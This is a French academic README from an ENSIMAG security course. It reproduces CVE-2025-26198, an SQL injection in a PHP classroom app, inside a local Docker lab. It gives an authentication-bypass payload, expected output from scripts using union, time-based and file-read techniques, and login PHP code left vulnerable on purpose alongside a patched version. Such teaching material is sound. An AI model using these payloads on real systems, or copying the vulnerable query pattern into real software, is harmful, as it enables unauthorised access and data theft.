## https://sploitus.com/exploit?id=6F4EE1C3-8698-5A46-9E29-DC43E7DC853E
# CVE-2025-26198 - SQL Injection Demonstration
**Projet académique ENSIMAG - Sécurité 3A**
Auteurs : Wail Yacoubi, Mohammed-Yassine Akhmari
Date : Janvier 2026
---
## Avertissement
Ce code est intentionnellement vulnérable à des fins éducatives.
Ne jamais déployer en production.
---
## Description
Reproduction de CVE-2025-26198 : SQL Injection critique dans CloudClassroom-PHP-Project v1.0.
**Caractéristiques de la CVE :**
- Identifiant : CVE-2025-26198
- Score CVSS : 9.8/10 (Critique)
- Type : SQL Injection (CWE-89)
- Composant vulnérable : loginlinkadmin.php
- Impact : Bypass authentification + extraction complète BDD
Référence officielle : https://nvd.nist.gov/vuln/detail/CVE-2025-26198
---
## Objectif
Démontrer 4 techniques d'exploitation SQL Injection :
1. Boolean-based - Bypass d'authentification
2. Union-based - Extraction de données
3. Time-based Blind - Détection par délai
4. File Read - Lecture fichiers système
---
## Installation
### Prérequis
- Docker et Docker Compose
- Python 3.x
- Installer requests : `pip install requests`
### Démarrage
```bash
# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198
# Lancer l'infrastructure
docker-compose up -d
# Attendre que MySQL soit prĂŞt (30 secondes)
sleep 30
# Vérifier les containers
docker-compose ps
```
L'application est accessible sur http://localhost:8081
---
## Exploitation
### Méthode 1 : Manuel (navigateur)
1. Aller sur http://localhost:8081
2. Remplir le formulaire :
- Username : `admin' OR '1'='1'-- -`
- Password : `anything`
3. Cliquer sur Login
Résultat : Connexion admin réussie sans mot de passe valide.
**Explication :**
Le payload transforme la requĂŞte SQL :
```sql
-- RequĂŞte normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- RequĂŞte avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
```
Le `OR '1'='1'` est toujours vrai, et `-- -` commente le reste.
---
### Méthode 2 : Scripts Python
#### Script simple
```bash
python exploit_simple.py http://localhost:8081
```
Output attendu :
```
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
```
---
#### Script complet (4 techniques)
```bash
python exploit.py http://localhost:8081
```
Output attendu :
```
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: dbuser@172.18.0.3
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:admin@cloudclassroom.local
- superadmin:super@cloudclassroom.local
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[âś“] Boolean-based (Auth Bypass)
[âś“] Union-based (Data Extraction)
[âś“] Time-based (Blind Detection)
[âś“] File Read (LOAD_FILE)
```
---
## Version patchée
Tester la version sécurisée avec prepared statements :
```bash
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# Retester l'exploit
python exploit_simple.py http://localhost:8081
```
Résultat attendu :
```
[-] Error: Connection aborted
[-] Exploitation failed
```
L'attaque est bloquée par la validation des inputs et les prepared statements.
Remettre la version vulnérable :
```bash
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
```
---
## Comparaison des versions
| Aspect | Version Vulnérable | Version Patchée |
|--------|-------------------|-----------------|
| Requête SQL | Concaténation directe | Prepared statement PDO |
| Validation input | Aucune | Regex alphanumerique |
| Échappement output | Non | htmlspecialchars() |
| SQL Injection | Exploitable | Bloqué |
| Logs | Aucun | error_log() |
**Code vulnérable :**
```php
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
```
**Code sécurisé :**
```php
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
```
---
## Structure du projet
```
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # Version vulnérable
│ ├── loginlinkadmin_PATCHED.php # Version sécurisée
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
```
---
## Dépannage
### Container web ne démarre pas
```bash
docker-compose logs web
docker-compose down
docker-compose up -d --build
```
### Exploit ne fonctionne pas
```bash
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# Vérifier service web
curl http://localhost:8081
# Vérifier version active
head -n 2 app/loginlinkadmin.php
```
### Port déjà utilisé
Modifier `docker-compose.yml` :
```yaml
ports:
- "8082:80"
```
---
## Documentation
Voir `RAPPORT.md` pour l'analyse détaillée incluant :
- Mécanisme de la vulnérabilité
- Architecture système
- Recommandations de sécurisation
- Bonnes pratiques développement
---
## Références
- CVE officielle : https://nvd.nist.gov/vuln/detail/CVE-2025-26198
- Projet original : https://github.com/mathurvishal/CloudClassroom-PHP-Project
- OWASP SQL Injection : https://owasp.org/www-community/attacks/SQL_Injection
- PHP PDO : https://www.php.net/manual/en/pdo.prepared-statements.php
---
## Disclaimer
Projet développé uniquement à des fins éducatives dans le cadre du cours de cybersécurité ENSIMAG.
Utilisation autorisée :
- Apprentissage et formation
- Tests sur environnements autorisés
Utilisation interdite :
- Attaques sur systèmes réels
- Utilisation malveillante
Toute utilisation en dehors du cadre académique est strictement interdite et illégale.
---
**Auteurs**
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - Promotion 2026
Cours : Sécurité 3A